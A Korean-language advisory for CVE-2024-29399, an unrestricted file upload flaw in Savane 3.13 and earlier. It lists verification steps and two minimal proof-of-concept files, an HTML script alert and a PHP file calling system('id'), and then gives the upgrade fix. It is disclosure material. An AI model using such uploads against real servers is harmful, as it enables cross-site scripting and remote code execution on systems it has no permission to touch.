CVE-2024-29399 취약점 상세 정보

개요

Savane v3.13 및 이전 버전에서는 업로드된 파일에 대한 검증 부재로 인해 권한 상승이 발생할 수 있습니다. 설치 지침에 따라 구성된 웹 서버는 XSS(Cross-Site Scripting)에 취약합니다. 잘못 구성된 웹 서버에서는 이로 인해 RCE(Remote Code Execution)로 이어질 수 있습니다.

CWE 분류: CWE-434: 위험한 유형의 파일 무제한 업로드

보고자: Ally Petitt

영향을 받는 제품: Savane

영향을 받는 버전: 3.13 및 이전 버전

검증 단계

1. 브라우저에서 /register/upload.php를 방문합니다.
2. 악성 파일을 업로드합니다. 웹 서버 구성에 따라 HTML 또는 PHP 파일이 될 수 있으며, 이에 국한되지는 않습니다(개요 참조). 각각의 예시는 아래와 같습니다:

PoC.html

<script>
  alert("XSS");
</script>

PoC.php

<?php
  echo system("id");
?>

4. 표시된 업로드 파일 링크를 방문하여 코드 실행을 트리거합니다.

완화 조치

Savane 버전 3.14 이상으로 업그레이드하십시오. 패치는 여기에서 확인할 수 있습니다.